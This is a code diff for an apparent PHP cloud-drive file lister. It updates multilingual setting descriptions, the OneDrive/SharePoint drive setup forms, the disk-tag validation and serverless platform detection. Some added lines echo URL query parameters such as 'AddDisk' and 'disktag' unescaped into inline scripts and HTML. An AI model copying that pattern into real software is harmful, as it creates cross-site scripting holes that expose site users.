'customTheme' => 'html格式的主题的url', 'customTheme' => 'html格式的主题的url',
@ -128,19 +132,23 @@ $constStr = [
'diskname' => '这个盘你想显示什么名称。', 'diskname' => '这个盘你想显示什么名称。',
'diskDescription' => '对这个盘的一些描述,随便写,代码不引用这个。', 'diskDescription' => '对这个盘的一些描述,随便写,代码不引用这个。',
'disktag' => '一个标签用于保存配置多盘时会显示在url中。', 'disktag' => '一个标签用于保存配置多盘时会显示在url中。',
'disableShowThumb' => '如果填 1, ‘显示缩略’按钮将被隐藏。', 'disableShowThumb' => '一个开关,如果填 1, ‘显示缩略’按钮将被隐藏。',
'disableChangeTheme' => '如果为 1则不会显示主题选择按钮', 'disableChangeTheme' => '一个开关,如果为 1则不会显示主题选择按钮',
'downloadencrypt' => '0 或 1。如果 1, 那加密目录内的文件可以不需要密码就能下载。', 'downloadencrypt' => '一个开关0 或 1。如果 1, 那加密目录内的文件可以不需要密码就能下载。',
'useBasicAuth' => '如果为 1加密目录将弹出用户名密码窗口不会显示主题自带的输入密码页面。', 'globalHeadOmfUrl' => '从url获取文本当成head.omf显示在每一页。',
'globalHeadMdUrl' => '从url获取文本当成head.md显示在每一页。',
'globalReadmeMdUrl' => '从url获取文本当成readme.md显示在每一页。',
'globalFootOmfUrl' => '从url获取文本当成foot.omf显示在每一页。',
'useBasicAuth' => '一个开关,如果为 1加密目录将弹出用户名密码窗口不会显示主题自带的输入密码页面。',
'background' => '设置一个url作为背景。', 'background' => '设置一个url作为背景。',
'backgroundm' => '设置一个url作为手机端用的背景。', 'backgroundm' => '设置一个url作为手机端用的背景。',
'forceHttps' => '0或1。如果设置为1会强制跳https', 'forceHttps' => '一个开关,0或1。如果设置为1会强制跳https',
'fileConduitCacheTime' => '填数字单位是小时如果设置小于1M(或fileConduitSize)的小文件会从程序通过然后缓存在浏览器不然默认302跳微软', 'fileConduitCacheTime' => '填数字单位是小时如果设置小于1M(或fileConduitSize)的小文件会从程序通过然后缓存在浏览器不然默认302跳微软',
'fileConduitSize' => '填数字单位是M(建议4M以下)如果设置小于这个值的小文件会从程序通过然后缓存在浏览器不然默认302跳微软', 'fileConduitSize' => '填数字单位是M(建议4M以下)如果设置小于这个值的小文件会从程序通过然后缓存在浏览器不然默认302跳微软',
'theme' => '为游客选择一个主题。', 'theme' => '为游客选择一个主题。',
'timezone' => '设置默认时区。', 'timezone' => '设置默认时区。',
'guestup_path' => '设置游客上传路径(图床路径),不设置这个值时该目录内容会正常列文件出来,设置后只有上传界面,不显示其中文件(登录后显示)。', 'guestup_path' => '设置游客上传路径(图床路径),不设置这个值时该目录内容会正常列文件出来,设置后只有上传界面,不显示其中文件(登录后显示)。',
'hideFunctionalityFile' => '0 或 1。如果 1, 某些文件不列表给游客看但它的功能正常比如readme.md', 'hideFunctionalityFile' => '一个开关0 或 1。如果 1, 功能文件不列表给游客看但它的功能正常比如readme.md',
'passfile' => '自定义密码文件的名字,可以是\'pppppp\',也可以是\'aaaa.txt\'等等;列目录时不会显示,只有知道密码才能查看或下载此文件。密码是这个文件的内容,可以空格、可以中文;', 'passfile' => '自定义密码文件的名字,可以是\'pppppp\',也可以是\'aaaa.txt\'等等;列目录时不会显示,只有知道密码才能查看或下载此文件。密码是这个文件的内容,可以空格、可以中文;',
'domainforproxy' => '会将https://xxxxx-my.sharepoint.com替换成这个值在目标需要自己设置反代。会加上&Origindomain=原域名', 'domainforproxy' => '会将https://xxxxx-my.sharepoint.com替换成这个值在目标需要自己设置反代。会加上&Origindomain=原域名',
'public_path' => '使用API长链接访问时显示网盘文件的路径不设置时默认为根目录。', 'public_path' => '使用API长链接访问时显示网盘文件的路径不设置时默认为根目录。',
@ -148,7 +156,7 @@ $constStr = [
], ],
'zh-tw' => [ 'zh-tw' => [
'admin' => '管理密碼,不設定密碼將不顯示登入頁面且無法登入。', 'admin' => '管理密碼,不設定密碼將不顯示登入頁面且無法登入。',
'adminloginpage' => '如果設定,登入按鈕及頁面隱藏。管理登入的頁面不再是\'?admin\',而是\'?此設置的值\'。', 'adminloginpage' => '如果設定,登入按鈕及頁面隱藏。管理登入的頁面不再是\'?login=admin\',而是\'?login=此設置的值\'。',
'autoJumpFirstDisk' => '用於多盤如果設1將會自動跳到第一個盤。', 'autoJumpFirstDisk' => '用於多盤如果設1將會自動跳到第一個盤。',
'customScript' => '<script>,在所有頁都會存在,例如放一個http跳轉https', 'customScript' => '<script>,在所有頁都會存在,例如放一個http跳轉https',
'customCss' => '<style>,在<head>最後面', 'customCss' => '<style>,在<head>最後面',
@ -173,7 +181,7 @@ $constStr = [
], ],
'ja' => [ 'ja' => [
'admin' => 'パスワードを管理する、追加しない場合、ログインページは表示されず、ログインできません。', 'admin' => 'パスワードを管理する、追加しない場合、ログインページは表示されず、ログインできません。',
'adminloginpage' => '設定すると、ログインボタンとページが非表示になります。ログインを管理するためのページは\'?admin \'ではなく、\'?この設定の値\'。', 'adminloginpage' => '設定すると、ログインボタンとページが非表示になります。ログインを管理するためのページは\'?login=admin \'ではなく、\'?login=この設定の値\'。',
'autoJumpFirstDisk' => '複数のディスクを使って、1を設定すると、自動的に最初のディスクにジャンプします。', 'autoJumpFirstDisk' => '複数のディスクを使って、1を設定すると、自動的に最初のディスクにジャンプします。',
'customScript' => 'scriptは、すべてのページに存在します。例えば、httpを置いてhttpsをジャンプします。', 'customScript' => 'scriptは、すべてのページに存在します。例えば、httpを置いてhttpsをジャンプします。',
'customCss' => 'styleは、headの一番後ろにあります。', 'customCss' => 'styleは、headの一番後ろにあります。',
@ -198,7 +206,7 @@ $constStr = [
], ],
'ko-kr' => [ 'ko-kr' => [
'admin' => '비밀번호를 관리하고 로그인 페이지를 표시하지 않으며 추가하지 않으면 로그인 할 수 없습니다.', 'admin' => '비밀번호를 관리하고 로그인 페이지를 표시하지 않으며 추가하지 않으면 로그인 할 수 없습니다.',
'adminloginpage' => '설정하면 로그인 버튼과 페이지가 숨겨집니다. 로그인 관리 페이지는 더 이상 \ ?Admin\'이 아니라 \ ?이 설정의 값 \'입니다.', 'adminloginpage' => '설정하면 로그인 버튼과 페이지가 숨겨집니다. 로그인 관리 페이지는 더 이상 \ ?login=admin\'이 아니라 \ ?login=이 설정의 값 \'입니다.',
'autoJumpFirstDisk' => '여러 개의 디스크 에 사용 되 며, 1 이 되면 첫 번 째 디스크 로 자동 으로 이동 합 니 다.', 'autoJumpFirstDisk' => '여러 개의 디스크 에 사용 되 며, 1 이 되면 첫 번 째 디스크 로 자동 으로 이동 합 니 다.',
'customScript' => '< script > 은 모든 페이지 에 존재 합 니 다. 예 를 들 어 http 을 하나 넣 고 https 로 이동 합 니 다.', 'customScript' => '< script > 은 모든 페이지 에 존재 합 니 다. 예 를 들 어 http 을 하나 넣 고 https 로 이동 합 니 다.',
'customCss' => '< 스타일 >, < 헤드 > 맨 뒤에', 'customCss' => '< 스타일 >, < 헤드 > 맨 뒤에',
@ -223,7 +231,7 @@ $constStr = [
], ],
'fa' => [ 'fa' => [
'admin' => 'رمز عبور ادمین، در صورت خالی بودن دکمه لاگین به نمایش در نمی‌آید', 'admin' => 'رمز عبور ادمین، در صورت خالی بودن دکمه لاگین به نمایش در نمی‌آید',
'adminloginpage' => 'در صورت تنظیم ، دکمه ورود نمایش داده نمی شود و صفحه ورود دیگر \?admin\ نیست بلکه \?{مقدار ورودی شما}\ است.', 'adminloginpage' => 'در صورت تنظیم ، دکمه ورود نمایش داده نمی شود و صفحه ورود دیگر \?login=admin\ نیست بلکه \?login={مقدار ورودی شما}\ است.',
'referrer' => '', 'referrer' => '',
'domain_path' => 'تنظیم دامنه سفارشی، به صورت a1.com:/dirto/path1|b2.com:/path2', 'domain_path' => 'تنظیم دامنه سفارشی، به صورت a1.com:/dirto/path1|b2.com:/path2',
'diskname' => 'نام دیسک که می‌خواهید نشان دهید.', 'diskname' => 'نام دیسک که می‌خواهید نشان دهید.',
@ -1126,9 +1134,9 @@ $constStr = [
'ar-sa' => 'اختيار اللغة', 'ar-sa' => 'اختيار اللغة',
], ],
'RefreshCache' => [ 'RefreshCache' => [
'en-us' => 'RefreshCache', 'en-us' => 'Refresh Cache of Current Folder',
'zh-cn' => '刷新缓存', 'zh-cn' => '刷新当前目录的缓存',
'zh-tw' => '重新整理快取', 'zh-tw' => '重新整理当前資料夾快取',
'ja' => 'キャッシュを再構築', 'ja' => 'キャッシュを再構築',
'ko-kr' => '캐시 플러시', 'ko-kr' => '캐시 플러시',
'fa' => 'رفرش cache', 'fa' => 'رفرش cache',

View File

@ -320,6 +320,7 @@ class Aliyundrive {
return output(json_encode($this->files_format(json_decode($result['body'], true))), $result['stat']); return output(json_encode($this->files_format(json_decode($result['body'], true))), $result['stat']);
} }
public function Copy($file) { public function Copy($file) {
return output('NO copy', 415);
if (!$file['id']) { if (!$file['id']) {
$oldfile = $this->list_path($file['path'] . '/' . $file['name']); $oldfile = $this->list_path($file['path'] . '/' . $file['name']);
//error_log1('res:' . json_encode($res)); //error_log1('res:' . json_encode($res));
@ -799,7 +800,7 @@ class Aliyundrive {
alert("Do not input ' . $envs . '"); alert("Do not input ' . $envs . '");
return false; return false;
} }
var reg = /^[a-zA-Z]([_a-zA-Z0-9]{1,20})$/; var reg = /^[a-zA-Z]([_a-zA-Z0-9]{1,})$/;
if (!reg.test(t.disktag_add.value)) { if (!reg.test(t.disktag_add.value)) {
alert(\'' . getconstStr('TagFormatAlert') . '\'); alert(\'' . getconstStr('TagFormatAlert') . '\');
return false; return false;

View File

@ -718,7 +718,7 @@ class Googledrive {
alert("Do not input ' . $envs . '"); alert("Do not input ' . $envs . '");
return false; return false;
} }
var reg = /^[a-zA-Z]([_a-zA-Z0-9]{1,20})$/; var reg = /^[a-zA-Z]([_a-zA-Z0-9]{1,})$/;
if (!reg.test(t.disktag_add.value)) { if (!reg.test(t.disktag_add.value)) {
alert(\'' . getconstStr('TagFormatAlert') . '\'); alert(\'' . getconstStr('TagFormatAlert') . '\');
return false; return false;

View File

@ -446,7 +446,7 @@ class Onedrive {
$envs = ''; $envs = '';
foreach ($EnvConfigs as $env => $v) if (isCommonEnv($env)) $envs .= '\'' . $env . '\', '; foreach ($EnvConfigs as $env => $v) if (isCommonEnv($env)) $envs .= '\'' . $env . '\', ';
$url = path_format($_SERVER['PHP_SELF'] . '/'); $url = $_SERVER['PHP_SELF'];
//$this->api_url = splitfirst($_SERVER['api_url'], '/v1.0')[0] . '/v1.0'; //$this->api_url = splitfirst($_SERVER['api_url'], '/v1.0')[0] . '/v1.0';
if (isset($_GET['Finish'])) { if (isset($_GET['Finish'])) {
@ -478,8 +478,8 @@ class Onedrive {
} else { } else {
return message($arr['stat'] . $arr['body'], 'Get User ID', $arr['stat']); return message($arr['stat'] . $arr['body'], 'Get User ID', $arr['stat']);
}*/ }*/
if (get_class($this)=='Sharepoint') $tmp['Driver'] = 'Onedrive'; if ($tmp['Driver']=='Sharepoint') $tmp['Driver'] = 'Onedrive';
elseif (get_class($this)=='SharepointCN') $tmp['Driver'] = 'OnedriveCN'; elseif ($tmp['Driver']=='SharepointCN') $tmp['Driver'] = 'OnedriveCN';
$tmp['sharepointSite'] = ''; $tmp['sharepointSite'] = '';
$tmp['siteid'] = ''; $tmp['siteid'] = '';
} elseif ($_POST['DriveType']=='Custom') { } elseif ($_POST['DriveType']=='Custom') {
@ -492,14 +492,14 @@ class Onedrive {
//if ($arr['stat']!=200) return message($arr['stat'] . $arr['body'], 'Get Sharepoint Drive ID ' . $_POST['DriveType'], $arr['stat']); //if ($arr['stat']!=200) return message($arr['stat'] . $arr['body'], 'Get Sharepoint Drive ID ' . $_POST['DriveType'], $arr['stat']);
$tmp['siteid'] = $siteid; $tmp['siteid'] = $siteid;
$tmp['sharepointSite'] = $_POST['sharepointSite']; $tmp['sharepointSite'] = $_POST['sharepointSite'];
if (get_class($this)=='Onedrive') $tmp['Driver'] = 'Sharepoint'; if ($tmp['Driver']=='Onedrive') $tmp['Driver'] = 'Sharepoint';
elseif (get_class($this)=='OnedriveCN') $tmp['Driver'] = 'SharepointCN'; elseif ($tmp['Driver']=='OnedriveCN') $tmp['Driver'] = 'SharepointCN';
} else { } else {
// 直接是siteid // 直接是siteid
$tmp['siteid'] = $_POST['DriveType']; $tmp['siteid'] = $_POST['DriveType'];
$tmp['sharepointSite'] = $_POST['sharepointSiteUrl']; $tmp['sharepointSite'] = $_POST['sharepointSiteUrl'];
if (get_class($this)=='Onedrive') $tmp['Driver'] = 'Sharepoint'; if ($tmp['Driver']=='Onedrive') $tmp['Driver'] = 'Sharepoint';
elseif (get_class($this)=='OnedriveCN') $tmp['Driver'] = 'SharepointCN'; elseif ($tmp['Driver']=='OnedriveCN') $tmp['Driver'] = 'SharepointCN';
} }
$response = setConfigResponse( setConfig($tmp, $this->disktag) ); $response = setConfigResponse( setConfig($tmp, $this->disktag) );
@ -520,11 +520,11 @@ class Onedrive {
console.log(i++); console.log(i++);
} else { } else {
clearInterval(uploadList); clearInterval(uploadList);
location.href = "' . $url . '"; location.href = "' . $url . '?setup&disktag=' . $_GET['disktag'] . '";
} }
}, 1000); }, 1000);
</script>'; </script>';
return message($html, getconstStr('WaitJumpIndex'), 201, 1); return message($html, getconstStr('Wait'), 201, 1);
} }
} }
@ -554,12 +554,13 @@ class Onedrive {
$title = 'Select Driver'; $title = 'Select Driver';
$html = ' $html = '
<div> <div>
<form action="?Finish&disktag=' . $_GET['disktag'] . '&AddDisk=' . get_class($this) . '" method="post" onsubmit="return notnull(this);"> <form name="form1" action="?Finish&disktag=' . $_GET['disktag'] . '&AddDisk=' . get_class($this) . '" method="post" onsubmit="return notnull(this);">
<label><input type="radio" name="DriveType" value="Onedrive" checked>' . 'Use Onedrive ' . getconstStr(' ') . '</label><br>'; <label><input type="radio" name="DriveType" value="Onedrive">' . 'Use Onedrive ' . getconstStr(' ') . '</label><br>';
if ($sites[0]!='') foreach ($sites as $k => $v) { if ($sites[0]!='') foreach ($sites as $k => $v) {
$html .= ' $html .= '
<label> <label>
<input type="radio" name="DriveType" value="' . $v['id'] . '" onclick="document.getElementById(\'sharepointSiteUrl\').value=\'' . $v['webUrl'] . '\';">' . 'Use Sharepoint: <br><div style="width:100%;margin:0px 35px">webUrl: ' . $v['webUrl'] . '<br>siteid: ' . $v['id'] . '</div> <input type="radio" name="DriveType" value="' . $v['id'] . '" onclick="document.getElementById(\'sharepointSiteUrl\').value=\'' . $v['webUrl'] . '\';">' . 'Use Sharepoint: <br><div style="width:100%;margin:0px 35px">webUrl: ' . $v['webUrl'] . '<br>siteid: ' . $v['id'] . '</div>
<input type="hidden" id="' . $v['id'] . '" name="' . $v['id'] . '" value="' . $v['webUrl'] . '">
</label>'; </label>';
} }
$html .= ' $html .= '
@ -576,22 +577,42 @@ class Onedrive {
</form> </form>
</div> </div>
<script> <script>
function notnull(t) var driver = "' . $_GET['AddDisk'] . '";
{ if (driver=="Onedrive"||driver=="OnedriveCN") {
if (t.DriveType.value==\'\') { document.form1.DriveType[0].checked = true;
alert(\'Select a Disk\'); } else {
return false; var siteid = "' . getConfig('siteid', $this->disktag) . '";
} if (siteid==="") {
if (t.DriveType.value==\'Custom\') { document.form1.DriveType[document.form1.DriveType.length-1].checked = true;
if (t.sharepointSite.value==\'\') { } else {
alert(\'sharepoint Site Address\'); for (i=0; i<document.form1.DriveType.length; i++) {
return false; if (document.form1.DriveType[i].value==siteid) {
document.form1.DriveType[i].checked = true;
document.getElementById(\'sharepointSiteUrl\').value = document.getElementById(siteid).value;
} }
} }
return true; if (document.getElementById(\'sharepointSiteUrl\').value=="") {
document.form1.DriveType[document.form1.DriveType.length-1].checked = true;
document.getElementById(\'sharepointSite\').value = "' . getConfig('sharepointSite', $this->disktag) . '";
}
} }
</script> }
'; function notnull(t)
{
if (t.DriveType.value==\'\') {
alert(\'Select a Disk\');
return false;
}
if (t.DriveType.value==\'Custom\') {
if (t.sharepointSite.value==\'\') {
alert(\'sharepoint Site Address\');
return false;
}
}
return true;
}
</script>
';
return message($html, $title, 201); return message($html, $title, 201);
} }
@ -611,7 +632,7 @@ class Onedrive {
texta[i].style.height = texta[i].scrollHeight + \'px\'; texta[i].style.height = texta[i].scrollHeight + \'px\';
} }
</script>'; </script>';
$tmptoken['Driver'] = get_class($this); $tmptoken['Driver'] = $_GET['AddDisk'];
$tmptoken['refresh_token'] = $refresh_token; $tmptoken['refresh_token'] = $refresh_token;
$tmptoken['token_expires'] = time()+7*24*60*60; $tmptoken['token_expires'] = time()+7*24*60*60;
$response = setConfigResponse( setConfig($tmptoken, $this->disktag) ); $response = setConfigResponse( setConfig($tmptoken, $this->disktag) );
@ -629,7 +650,7 @@ class Onedrive {
console.log(i++); console.log(i++);
} else { } else {
clearInterval(uploadList); clearInterval(uploadList);
location.href = "' . $url . '?AddDisk=' . get_class($this) . '&disktag=' . $_GET['disktag'] . '&SelectDrive"; location.href = "' . $url . '?AddDisk=' . $_GET['AddDisk'] . '&disktag=' . $_GET['disktag'] . '&SelectDrive";
} }
}, 1000); }, 1000);
</script>'; </script>';
@ -641,7 +662,7 @@ class Onedrive {
} }
if (isset($_GET['install1'])) { if (isset($_GET['install1'])) {
if (get_class($this)=='Onedrive' || get_class($this)=='OnedriveCN') { //if (get_class($this)=='Onedrive' || get_class($this)=='OnedriveCN') {
return message(' return message('
<a href="" id="a1">' . getconstStr('JumptoOffice') . '</a> <a href="" id="a1">' . getconstStr('JumptoOffice') . '</a>
<script> <script>
@ -652,9 +673,9 @@ class Onedrive {
location.href = url; location.href = url;
</script> </script>
', getconstStr('Wait') . ' 1s', 201); ', getconstStr('Wait') . ' 1s', 201);
} else { //} else {
return message('Something error, retry after a few seconds.', 'Retry', 201); // return message('Something error, retry after a few seconds.', 'Retry', 201);
} //}
} }
if (isset($_GET['install0'])) { if (isset($_GET['install0'])) {
@ -681,7 +702,8 @@ class Onedrive {
//$this->disktag = $_POST['disktag_add']; //$this->disktag = $_POST['disktag_add'];
$tmp['disktag_add'] = $_POST['disktag_add']; $tmp['disktag_add'] = $_POST['disktag_add'];
$tmp['diskname'] = $_POST['diskname']; $tmp['diskname'] = $_POST['diskname'];
$tmp['Driver'] = $_POST['Drive_ver']; //$tmp['Driver'] = $_POST['Drive_ver'];
$tmp['Driver'] = $_GET['AddDisk'];
if ($_POST['Drive_ver']=='Sharelink') { if ($_POST['Drive_ver']=='Sharelink') {
$tmp['shareurl'] = $_POST['shareurl']; $tmp['shareurl'] = $_POST['shareurl'];
} else { } else {
@ -701,7 +723,7 @@ class Onedrive {
} else { } else {
$title = getconstStr('MayinEnv'); $title = getconstStr('MayinEnv');
$html = getconstStr('Wait'); $html = getconstStr('Wait');
if ($_POST['Drive_ver']!='Sharelink') $url .= '?install1&disktag=' . $_GET['disktag'] . '&AddDisk=' . $_POST['Drive_ver']; if ($_POST['Drive_ver']!='Sharelink') $url .= '?install1&disktag=' . $_GET['disktag'] . '&AddDisk=' . $_GET['AddDisk'];
$html .= '<script> $html .= '<script>
var i = 0; var i = 0;
var status = "' . $response['DplStatus'] . '"; var status = "' . $response['DplStatus'] . '";
@ -722,7 +744,7 @@ class Onedrive {
$html = ' $html = '
<div> <div>
<form id="form1" action="" method="post" onsubmit="return notnull(this);"> <form id="form1" name="form1" action="" method="post" onsubmit="return notnull(this);">
' . getconstStr('DiskTag') . ': (' . getConfig('disktag') . ') ' . getconstStr('DiskTag') . ': (' . getConfig('disktag') . ')
<input type="text" name="disktag_add" placeholder="' . getconstStr('EnvironmentsDescription')['disktag'] . '" style="width:100%"><br> <input type="text" name="disktag_add" placeholder="' . getconstStr('EnvironmentsDescription')['disktag'] . '" style="width:100%"><br>
' . getconstStr('DiskName') . ': ' . getconstStr('DiskName') . ':
@ -762,6 +784,21 @@ class Onedrive {
</form> </form>
</div> </div>
<script> <script>
var driver = "' . get_class($this) . '";
if (driver=="Onedrive" || driver=="Sharepoint") {
document.form1.Drive_ver[0].checked = true;
document.getElementById(\'NT_custom\').style.display=\'\';
//document.getElementById(\'CN_custom\').style.display=\'\';
//document.getElementById(\'inputshareurl\').style.display=\'none\';
}
if (driver=="OnedriveCN" || driver=="SharepointCN") {
document.form1.Drive_ver[1].checked = true;
document.getElementById(\'CN_custom\').style.display=\'\';
}
if (driver=="Sharelink") {
document.form1.Drive_ver[2].checked = true;
document.getElementById(\'inputshareurl\').style.display=\'\';
}
function notnull(t) function notnull(t)
{ {
if (t.disktag_add.value==\'\') { if (t.disktag_add.value==\'\') {
@ -770,10 +807,10 @@ class Onedrive {
} }
envs = [' . $envs . ']; envs = [' . $envs . '];
if (envs.indexOf(t.disktag_add.value)>-1) { if (envs.indexOf(t.disktag_add.value)>-1) {
alert("Do not input ' . $envs . '"); alert("Do not input \"" + t.disktag_add.value + "\" in ' . getconstStr('DiskTag') . '");
return false; return false;
} }
var reg = /^[a-zA-Z]([_a-zA-Z0-9]{1,20})$/; var reg = /^[a-zA-Z]([_a-zA-Z0-9]{1,})$/;
if (!reg.test(t.disktag_add.value)) { if (!reg.test(t.disktag_add.value)) {
alert(\'' . getconstStr('TagFormatAlert') . '\'); alert(\'' . getconstStr('TagFormatAlert') . '\');
return false; return false;
@ -787,25 +824,28 @@ class Onedrive {
alert(\'shareurl\'); alert(\'shareurl\');
return false; return false;
} }
driver = \'Sharelink\';
} else { } else {
if ((t.Drive_ver.value==\'Onedrive\') && t.NT_Drive_custom.checked==true) { if (t.Drive_ver.value==\'Onedrive\') {
if (t.NT_client_secret.value==\'\'||t.NT_client_id.value==\'\') { if (t.NT_Drive_custom.checked==true) {
alert(\'client_id & client_secret\'); if (t.NT_client_secret.value==\'\'||t.NT_client_id.value==\'\') {
return false; alert(\'client_id & client_secret\');
return false;
}
} }
if (driver!="Onedrive" && driver!="Sharepoint") driver = "Onedrive";
} }
if ((t.Drive_ver.value==\'OnedriveCN\') && t.CN_Drive_custom.checked==true) { if (t.Drive_ver.value==\'OnedriveCN\') {
if (t.CN_client_secret.value==\'\'||t.CN_client_id.value==\'\') { if (t.CN_Drive_custom.checked==true) {
alert(\'client_id & client_secret\'); if (t.CN_client_secret.value==\'\'||t.CN_client_id.value==\'\') {
return false; alert(\'client_id & client_secret\');
return false;
}
} }
if (driver!="OnedriveCN" && driver!="SharepointCN") driver = "OnedriveCN";
} }
} }
document.getElementById("form1").action="?install0&disktag=" + t.disktag_add.value + "&AddDisk=" + t.Drive_ver.value; document.getElementById("form1").action="?install0&disktag=" + t.disktag_add.value + "&AddDisk=" + driver;
//var expd = new Date();
//expd.setTime(expd.getTime()+(2*60*60*1000));
//var expires = "expires="+expd.toGMTString();
//document.cookie=\'disktag=\'+t.disktag_add.value+\'; path=/; \'+expires;
return true; return true;
} }
</script>'; </script>';

View File

@ -5,18 +5,19 @@ include 'vendor/autoload.php';
include 'conststr.php'; include 'conststr.php';
include 'common.php'; include 'common.php';
date_default_timezone_set('UTC');
//echo '<pre>'. json_encode($_SERVER, JSON_PRETTY_PRINT).'</pre>'; //echo '<pre>'. json_encode($_SERVER, JSON_PRETTY_PRINT).'</pre>';
//echo '<pre>'. json_encode($_ENV, JSON_PRETTY_PRINT).'</pre>'; //echo '<pre>'. json_encode($_ENV, JSON_PRETTY_PRINT).'</pre>';
if (isset($_SERVER['USER'])&&$_SERVER['USER']==='qcloud') { if (isset($_SERVER['USER'])&&$_SERVER['USER']==='qcloud') {
if (getenv('ONEMANAGER_CONFIG_SAVE')=='file') include 'platform/TencentSCF_file.php'; if (getenv('ONEMANAGER_CONFIG_SAVE')=='file') include 'platform/TencentSCF_file.php';
else include 'platform/TencentSCF_env.php'; else include 'platform/TencentSCF_env.php';
} elseif (isset($_SERVER['FC_SERVER_PATH'])&&$_SERVER['FC_SERVER_PATH']==='/var/fc/runtime/php7.2') { } elseif (isset($_SERVER['FC_FUNC_CODE_PATH'])) {
include 'platform/AliyunFC.php'; include 'platform/AliyunFC.php';
} elseif ($_SERVER['_APP_SHARE_DIR']=='/var/share/CFF/processrouter') { } elseif (isset($_SERVER['_APP_SHARE_DIR']) && $_SERVER['_APP_SHARE_DIR']=='/var/share/CFF/processrouter') {
//if (getenv('ONEMANAGER_CONFIG_SAVE')=='file') include 'platform/HuaweiFG_file.php'; //if (getenv('ONEMANAGER_CONFIG_SAVE')=='file') include 'platform/HuaweiFG_file.php';
//else include 'platform/HuaweiFG_env.php'; //else include 'platform/HuaweiFG_env.php';
echo 'FG' . PHP_EOL; echo 'FG' . PHP_EOL;
} elseif ($_SERVER['BCE_CFC_RUNTIME_NAME']=='php7') { } elseif (isset($_SERVER['BCE_CFC_RUNTIME_NAME']) && $_SERVER['BCE_CFC_RUNTIME_NAME']=='php7') {
include 'platform/BaiduCFC.php'; include 'platform/BaiduCFC.php';
} elseif (isset($_SERVER['HEROKU_APP_DIR'])&&$_SERVER['HEROKU_APP_DIR']==='/app') { } elseif (isset($_SERVER['HEROKU_APP_DIR'])&&$_SERVER['HEROKU_APP_DIR']==='/app') {
include 'platform/Heroku.php'; include 'platform/Heroku.php';
@ -88,6 +89,9 @@ function main_handler($event, $context)
$event = json_decode(json_encode($event), true); $event = json_decode(json_encode($event), true);
$context = json_decode(json_encode($context), true); $context = json_decode(json_encode($context), true);
printInput($event, $context); printInput($event, $context);
if ( $event['requestContext']['serviceId'] === substr($event['headers']['host'], 0, strlen($event['requestContext']['serviceId'])) ) {
if ($event['path']==='/' . $context['function_name']) return output('add / at last.', 308, ['Location'=>'/'.$event['requestContext']['stage'].'/'.$context['function_name'].'/']);
}
unset($_POST); unset($_POST);
unset($_GET); unset($_GET);
unset($_COOKIE); unset($_COOKIE);
@ -102,7 +106,7 @@ function main_handler($event, $context)
// Aliyun FC & Huawei FG & Baidu CFC // Aliyun FC & Huawei FG & Baidu CFC
function handler($event, $context) function handler($event, $context)
{ {
if (isset($_SERVER['FC_SERVER_PATH'])&&$_SERVER['FC_SERVER_PATH']==='/var/fc/runtime/php7.2') { if (isset($_SERVER['FC_FUNC_CODE_PATH'])) {
// Aliyun FC // Aliyun FC
set_error_handler("myErrorHandler"); set_error_handler("myErrorHandler");
$tmp = array( $tmp = array(
@ -126,7 +130,7 @@ function handler($event, $context)
$re = main($path); $re = main($path);
return new RingCentral\Psr7\Response($re['statusCode'], $re['headers'], $re['isBase64Encoded']?base64_decode($re['body']):$re['body']); return new RingCentral\Psr7\Response($re['statusCode'], $re['headers'], ($re['isBase64Encoded']?base64_decode($re['body']):$re['body']));
} elseif ($_SERVER['_APP_SHARE_DIR']=='/var/share/CFF/processrouter') { } elseif ($_SERVER['_APP_SHARE_DIR']=='/var/share/CFF/processrouter') {
// Huawei FG // Huawei FG

View File

@ -67,7 +67,8 @@ function GetPathSetting($event, $context)
$_SERVER['host'] = $_SERVER['REQUEST_SCHEME'] . '://' . $_SERVER['HTTP_HOST']; $_SERVER['host'] = $_SERVER['REQUEST_SCHEME'] . '://' . $_SERVER['HTTP_HOST'];
$_SERVER['referhost'] = explode('/', $event['headers']['Referer'][0])[2]; $_SERVER['referhost'] = explode('/', $event['headers']['Referer'][0])[2];
$_SERVER['HTTP_IF_MODIFIED_SINCE'] = $event['headers']['If-Modified-Since'][0]; $_SERVER['HTTP_IF_MODIFIED_SINCE'] = $event['headers']['If-Modified-Since'][0];
$_SERVER['FC_SERVER_PATH'] = '/var/fc/runtime/php7.2'; $_SERVER['FC_FUNC_CODE_PATH'] = getenv('FC_FUNC_CODE_PATH');
$_SERVER['REQUEST_METHOD'] = $event['method'];
return $path; return $path;
//return spurlencode($path, '/'); //return spurlencode($path, '/');
} }

View File

@ -51,6 +51,7 @@ function GetPathSetting($event, $context)
$_SERVER['referhost'] = explode('/', $event['headers']['Referer'])[2]; $_SERVER['referhost'] = explode('/', $event['headers']['Referer'])[2];
$_SERVER['HTTP_TRANSLATE'] = $event['headers']['translate'];//'f' $_SERVER['HTTP_TRANSLATE'] = $event['headers']['translate'];//'f'
$_SERVER['HTTP_IF_MODIFIED_SINCE'] = $event['headers']['If-Modified-Since']; $_SERVER['HTTP_IF_MODIFIED_SINCE'] = $event['headers']['If-Modified-Since'];
$_SERVER['REQUEST_METHOD'] = $event['httpMethod'];
$_SERVER['BCE_CFC_RUNTIME_NAME'] = 'php7'; $_SERVER['BCE_CFC_RUNTIME_NAME'] = 'php7';
return $path; return $path;
} }

View File

@ -74,6 +74,7 @@ function GetPathSetting($event, $context)
$_SERVER['referhost'] = explode('/', $event['headers']['referer'])[2]; $_SERVER['referhost'] = explode('/', $event['headers']['referer'])[2];
$_SERVER['HTTP_TRANSLATE'] = $event['headers']['translate'];//'f' $_SERVER['HTTP_TRANSLATE'] = $event['headers']['translate'];//'f'
$_SERVER['HTTP_IF_MODIFIED_SINCE'] = $event['headers']['if-modified-since']; $_SERVER['HTTP_IF_MODIFIED_SINCE'] = $event['headers']['if-modified-since'];
$_SERVER['REQUEST_METHOD'] = $event['httpMethod'];
$_SERVER['_APP_SHARE_DIR'] = '/var/share/CFF/processrouter'; $_SERVER['_APP_SHARE_DIR'] = '/var/share/CFF/processrouter';
return $path; return $path;
} }

View File

@ -74,6 +74,7 @@ function GetPathSetting($event, $context)
$_SERVER['referhost'] = explode('/', $event['headers']['referer'])[2]; $_SERVER['referhost'] = explode('/', $event['headers']['referer'])[2];
$_SERVER['HTTP_TRANSLATE'] = $event['headers']['translate'];//'f' $_SERVER['HTTP_TRANSLATE'] = $event['headers']['translate'];//'f'
$_SERVER['HTTP_IF_MODIFIED_SINCE'] = $event['headers']['if-modified-since']; $_SERVER['HTTP_IF_MODIFIED_SINCE'] = $event['headers']['if-modified-since'];
$_SERVER['REQUEST_METHOD'] = $event['httpMethod'];
